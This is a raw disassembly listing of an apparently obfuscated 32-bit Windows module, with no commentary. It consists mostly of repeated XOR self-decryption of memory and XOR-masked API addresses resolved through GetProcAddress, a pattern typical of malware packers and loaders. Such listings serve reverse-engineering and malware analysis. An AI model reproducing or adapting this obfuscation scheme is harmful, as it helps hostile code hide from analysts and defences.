mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x14]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x1b07c]
add eax, 0xa52e4
xor eax, dword [ecx]
xor eax, 0xdcc69e28
mov dword [ecx], eax
and dword [0x10106ae8], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6648]
add eax, 0x278c8
xor eax, dword [ecx]
xor eax, 0xdcceb404
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140a0]
add eax, 0xa5a68
xor eax, dword [ecx]
xor eax, 0xdcc696a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15960]
add eax, 0x14d62
xor eax, dword [ecx]
xor eax, 0xdccd81ae
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1673]
add eax, 0x24c88
xor eax, dword [ecx]
xor eax, 0xdcce8044
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105abc]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x1b86f]
add eax, 0x2008c
xor eax, dword [ecx]
xor eax, 0xdccecc40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17bf2]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c852]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x568b]
add eax, 0x20008
xor eax, dword [ecx]
xor eax, 0xdcceccc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6b46]
add eax, 0x27a04
xor eax, dword [ecx]
push 0x10107486
xor eax, 0xdcceb6c8
mov dword [ecx], eax
mov ecx, dword [0x10107300]
mov eax, dword [0x10105ab8]
imul eax, dword [0x101062e0]
lea edx, [ecx + 0x33644]
add ecx, 0x3364c
xor ecx, dword [edx]
push ebp
xor ecx, 0xdccffa80
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x96b3]
add ecx, 0x20078
xor ecx, dword [edx]
xor ecx, esi
mov dword [edx], ecx
mov ecx, dword [0x10106ae8]
or ecx, eax
mov eax, dword [0x10107300]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xf13f]
add eax, 0x20138
xor eax, dword [ecx]
xor eax, 0xdccecdf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x157b1]
add eax, 0x20c70
xor eax, dword [ecx]
xor eax, 0xdccec0bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbe26]
add eax, 0x20290
xor eax, dword [ecx]
xor eax, 0xdccece5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe65e]
add eax, 0x2029c
xor eax, dword [ecx]
xor eax, 0xdccece50
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2005c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9b4e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b48]
add eax, 0x32b6c
xor eax, dword [ecx]
xor eax, 0xdccfe7a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x101062e0], 0
lea ecx, [eax + 0x18044]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32bf4]
add eax, 0x36024
xor eax, dword [ecx]
xor eax, 0xdccface8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x42a59f9a
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0xa4564]
add eax, 0x27434
xor eax, dword [ecx]
push 0x10107e15
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f7c]
add eax, 0x27748
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c3e]
add eax, 0xa4c39
xor eax, dword [ecx]
xor eax, 0xdcc680f5
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33680]
add eax, 0x33684
xor eax, dword [ecx]
xor eax, 0xdccffa48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9312]
add eax, 0x27d40
xor eax, dword [ecx]
xor eax, 0xdcceb18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x547b]
add eax, 0xa59f4
xor eax, dword [ecx]
xor eax, 0xdcc69538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24024]
add eax, 0x23ea0
xor eax, dword [ecx]
xor eax, 0xdccef26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332ac]
add eax, 0x32d90
xor eax, dword [ecx]
xor eax, 0xdccfe15c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa424c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20018
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9f92
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe854]
add eax, 0x25088
xor eax, dword [ecx]
xor eax, 0xdcce9c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334ec]
add eax, 0x334f0
xor eax, dword [ecx]
xor eax, 0xdccff83c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14104]
add eax, 0xa5ab8
xor eax, dword [ecx]
xor eax, 0xdcc69674
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18354]
add eax, 0xa4c10
xor eax, dword [ecx]
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbd12]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2d12]
add eax, 0xa59ed
xor eax, dword [ecx]
xor eax, 0xdcc69521
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x47f8]
add eax, 0xa5a48
xor eax, dword [ecx]
xor eax, 0xdcc69684
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183ed]
add eax, 0xa4c0c
xor eax, dword [ecx]
xor eax, 0xdcc680c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbbc8]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x58f4]
add eax, 0x25f48
xor eax, dword [ecx]
xor eax, 0xdcce9384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33aa8]
add eax, 0x33a74
xor eax, dword [ecx]
xor eax, 0xdccff6b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x151b0]
add eax, 0x20cf4
xor eax, dword [ecx]
xor eax, 0xdccec038
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33458]
add eax, 0x36d20
xor eax, dword [ecx]
xor eax, 0xdccfa1ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x184a2]
add eax, 0xa4c08
xor eax, dword [ecx]
xor eax, 0xdcc680c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x69bd]
add eax, 0x200bc
xor eax, dword [ecx]
xor eax, 0xdccecc70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b06a]
add eax, 0xa52f0
xor eax, dword [ecx]
xor eax, 0xdcc69e3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x68af]
add eax, 0x200b8
xor eax, dword [ecx]
xor eax, 0xdccecc74
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x101062e0]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x812b]
add eax, 0x20258
xor eax, dword [ecx]
xor eax, 0xdccece94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13b38]
add eax, 0x231a8
xor eax, dword [ecx]
xor eax, 0xdccefd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d20e]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14091]
add eax, 0xa5a5c
xor eax, dword [ecx]
xor eax, 0xdcc69690
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25720]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b40]
add eax, 0x32b44
xor eax, dword [ecx]
xor eax, 0xdccfe788
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0xa413c]
add eax, 0x7c4f0
xor eax, dword [ecx]
xor eax, 0xdccb083c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x89b0]
add eax, 0x27c48
xor eax, dword [ecx]
xor eax, 0xdcceb084
mov dword [ecx], eax
mov eax, dword [0x10103e64]
or eax, dword [0x101062e0]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc3]
add eax, 0x24dd8
xor eax, dword [ecx]
xor eax, 0xdcce8114
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105368]
sub ecx, eax
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x370f0]
add eax, 0x314c0
xor eax, dword [ecx]
xor eax, 0xdccfd80c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x121bc]
add eax, 0x202d8
xor eax, dword [ecx]
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xea5f]
add eax, 0x28ffc
xor eax, dword [ecx]
xor eax, 0xdcce4330
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x647116c3]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x1f489]
add eax, 0x33e38
xor eax, dword [ecx]
xor eax, 0xdccff2f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14b4]
add eax, 0x1476
xor eax, dword [ecx]
xor eax, 0xdcccd8ba
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10106ae8]
add ecx, eax
mov dword [0x10103e64], ecx
lea ecx, [eax + 0xa48a4]
add eax, 0xa08b0
xor eax, dword [ecx]
xor eax, 0xdcc6c47c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6022]
add eax, 0xa59fc
xor eax, dword [ecx]
xor eax, 0xdcc69530
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328bc]
add eax, 0x12b10
xor eax, dword [ecx]
xor eax, 0xdccde7dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe64a]
add eax, 0x28f48
xor eax, dword [ecx]
xor eax, 0xdcce4384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b279]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10103e64]
or eax, dword [0x101062e0]
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18316]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10103e60]
add eax, 0x37408c8e
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1dc7b]
add eax, 0x20160
xor eax, dword [ecx]
xor eax, 0xdccecdac
mov dword [ecx], eax
mov eax, dword [0x101062e0]
imul eax, dword [0x10106ae8]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x21b9]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cac7]
add eax, 0xa55b0
xor eax, dword [ecx]
push 0x101073a3
push dword [esp + 0x3c]
xor eax, 0xdcc6997c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a48]
add eax, 0x12fc0
xor eax, dword [ecx]
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20314
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8534
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbc32]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16cfb]
add eax, 0x33ac0
xor eax, dword [ecx]
xor eax, 0xdccff60c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12388]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32af0]
add eax, 0x14040
xor eax, dword [ecx]
xor eax, 0xdccd8c8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc6f]
add eax, 0x1cd74
xor eax, dword [ecx]
xor eax, 0xdccd01b8
mov dword [ecx], eax
mov eax, dword [0x101062e4]
imul eax, dword [esp + 0x18]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3dc8]
add eax, 0x27154
xor eax, dword [ecx]
xor eax, 0xdccebd98
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3cbd]
add eax, 0x25640
xor eax, dword [ecx]
xor eax, 0xdcce9a8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + eax]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x118d1]
add eax, 0x20364
xor eax, dword [ecx]
xor eax, 0xdccecfa8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x48ed]
add eax, 0x202d0
xor eax, dword [ecx]
mov edx, 0xdccece1c
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x339dc]
add eax, 0x36ef0
xor eax, dword [ecx]
push 0x1010796b
xor eax, 0xdccfa23c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [esp + 0x24]
push ebp
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x253e]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d0fb]
add eax, 0x36b68
xor eax, dword [ecx]
xor eax, 0xdccfa7a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25788]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2019c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf995a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbac8]
add eax, 0x25388
xor eax, dword [ecx]
xor eax, 0xdcce9f44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c70b]
add eax, 0xa8fd0
xor eax, dword [ecx]
xor eax, 0xdcc6431c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17d47]
add eax, 0xa90e8
xor eax, dword [ecx]
xor eax, 0xdcc65c24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4571]
add eax, 0x202ac
xor eax, dword [ecx]
xor eax, 0xdccece60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a58]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36d20]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335d4]
add eax, 0xa4b6c
xor eax, dword [ecx]
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11183]
add eax, 0x20038
xor eax, dword [ecx]
push 0x101076e9
xor eax, 0xdcceccf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
add ecx, eax
mov dword [esp + 0x1c], ecx
lea ecx, [eax + 0xb4ea]
add eax, 0x2028c
xor eax, dword [ecx]
push ebp
xor eax, 0xdccece40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25e9c]
add eax, 0x5040
xor eax, dword [ecx]
xor eax, 0xdccc9c8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf63c]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8dcf]
add eax, 0x27c58
xor eax, dword [ecx]
xor eax, 0xdcceb094
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe6d9]
add eax, 0x37158
xor eax, dword [ecx]
xor eax, 0xdccfbd94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2afb]
add eax, 0xa8d20
xor eax, dword [ecx]
xor eax, 0xdcc641ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a4a7]
add eax, 0x33c68
xor eax, dword [ecx]
xor eax, 0xdccff0a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a85e]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45ec]
add eax, 0x8fb30
xor eax, dword [ecx]
xor eax, 0xdcc437fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17a8a]
add eax, 0xa8fbc
xor eax, dword [ecx]
xor eax, 0xdcc64370
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20104
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf81a8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34300]
add eax, 0x1f7e6
xor eax, dword [ecx]
xor eax, 0xdccd3b2a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4484]
add eax, 0x88370
xor eax, dword [ecx]
xor eax, 0xdcc44fbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3729]
add eax, 0x1f50b
xor eax, dword [ecx]
xor eax, 0xdccd39c7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1829]
add eax, 0x24cf0
xor eax, dword [ecx]
xor eax, 0xdcce803c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254c8]
add eax, 0x2f60
xor eax, dword [ecx]
xor eax, 0xdccce3ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x50d0]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24074]
add eax, 0x23e20
xor eax, dword [ecx]
xor eax, 0xdccef2ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7f2]
add eax, 0xa59d0
xor eax, dword [ecx]
xor eax, 0xdcc6951c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb83e]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b096]
add eax, 0xa52fc
xor eax, dword [ecx]
xor eax, 0xdcc69e30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1339d]
add eax, 0x23108
xor eax, dword [ecx]
xor eax, 0xdccefdc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4218]
add eax, 0x2695c
xor eax, dword [ecx]
xor eax, 0xdccea590
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbe62]
add eax, 0x2027c
xor eax, dword [ecx]
xor eax, 0xdcceceb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332d0]
add eax, 0x33294
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x12c
xor eax, 0xdccffe58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1144f]
add eax, 0x20264
xor eax, dword [ecx]
xor eax, 0xdccecea8
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10105abc], 0xc96eed38
lea ecx, [eax + 0x12c94]
add eax, 0x28854
xor eax, dword [ecx]
xor eax, 0xdcce4498
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x100277f0
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb6bb]
add eax, 0x2007c
xor eax, dword [ecx]
push 0x10107511
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a1c]
add eax, 0x38ee8
xor eax, dword [ecx]
push ebp
xor eax, 0xdccf4224
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
and dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45a4]
add eax, 0x8f170
xor eax, dword [ecx]
xor eax, 0xdcc43dbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20088
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x1c], 0x25b
xor ecx, 0xcccf87f2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4504]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x83b4]
add eax, 0x2010c
xor eax, dword [ecx]
xor eax, 0xdccecdc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x1010536c], eax
lea ecx, [eax + 0xa076]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x10105368]
push section..data
call fcn.1001555e
mov eax, dword [0x10105368]
add eax, 0x789112e7
mov dword [0x101062e4], eax
mov eax, 0x5e0a4b2
sub eax, dword [0x10106ae8]
dec dword [esp + 0x1c]
mov dword [0x10103e64], eax
jne 0x100278e8
mov eax, dword [0x10107300]
push 0x101074b9
add eax, 0x20070
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x1c], 0x176
xor ecx, 0xcccf9b8a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b135]
add eax, 0x238f0
xor eax, dword [ecx]
xor eax, 0xdccef43c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf5b0]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x125c9]
add eax, 0x25b3c
xor eax, dword [ecx]
xor eax, 0xdcce97f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c2a]
add eax, 0x200c4
xor eax, dword [ecx]
xor eax, 0xdccecc08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x246e]
add eax, 0x250c8
xor eax, dword [ecx]
xor eax, 0xdcce9c04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36e6c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329a0]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x10027a03
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19234]
add eax, 0xa4f48
xor eax, dword [ecx]
xor eax, 0xdcc68384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15978]
add eax, 0x15559
xor eax, dword [ecx]
mov edx, dword [0x10105abc]
xor eax, 0xdccd9995
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a464]
add eax, 0x36440
xor eax, dword [ecx]
xor eax, 0xdccfa88c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329e4]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x198ab]
add eax, 0xa4f5c
xor eax, dword [ecx]
xor eax, 0xdcc68390
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37034]
add eax, 0x32258
xor eax, dword [ecx]
xor eax, 0xdccfee94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140c8]
add eax, 0xa5a88
xor eax, dword [ecx]
xor eax, 0xdcc69644
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d478]
add eax, 0x24a34
xor eax, dword [ecx]
xor eax, 0xdcce86f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0xdaeccbbd
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x44be]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36234]
add eax, 0x2361c
xor eax, dword [ecx]
xor eax, 0xdccefad0
mov dword [ecx], eax
mov eax, dword [0x10103e64]
xor eax, dword [0x10105ab8]
mov dword [0x10106ae8], eax
mov eax, dword [0x10103e60]
and eax, edx
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb0f3]
add eax, 0xa6ad4
xor eax, dword [ecx]
xor eax, 0xdcc6a618
mov dword [ecx], eax
mov eax, dword [0x1010536c]
or eax, edx
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33470]
add eax, 0x33488
xor eax, dword [ecx]
push 0x101076fd
xor eax, 0xdccff844
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ec4]
add eax, 0x16f4b
xor eax, dword [ecx]
push ebp
xor eax, 0xdccda387
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a8d1]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1008e]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20108
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x1c], 0x123
xor ecx, 0xcccf81b6
mov dword [eax], ecx
push dword [0x10107300]
mov eax, dword [0x101062e0]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x10027c07
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1647]
add eax, 0x14d0
xor eax, dword [ecx]
push 0x10107a43
xor eax, 0xdcccd81c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1db2a]
add eax, 0x20058
xor eax, dword [ecx]
push ebp
xor eax, 0xdccecc94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8fc5]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
